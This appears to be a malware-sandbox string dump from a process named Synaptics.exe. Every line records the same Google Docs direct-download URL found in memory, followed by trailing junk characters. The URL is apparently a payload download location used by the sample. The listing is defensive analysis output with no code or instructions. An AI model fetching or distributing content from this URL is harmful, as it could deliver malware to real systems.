Source: Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK:
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK?
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLo
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLtd1
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMG#
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN:
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNo
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO&
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO;
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOp1
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3001853797.0000000026DBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPEN4WC
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP_=
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ:U:Y:
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQh
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR8
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRZ
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D8E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS=$Y
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSB
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSF
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSe
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSh
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS~
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTG
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTY
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTq
Source: Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUo)
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVk&export=downloadHostdocs
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVl
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW:
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW?
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX:
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYX
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYjC
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYp
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_8
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_88
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_9
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_?8
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_C
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_D1
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_Z
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadamad
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadapz
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbl
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbo
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc;
Source: Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcFh
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcG
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcatia
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D8E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelleme
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcisco
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D8E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.ne
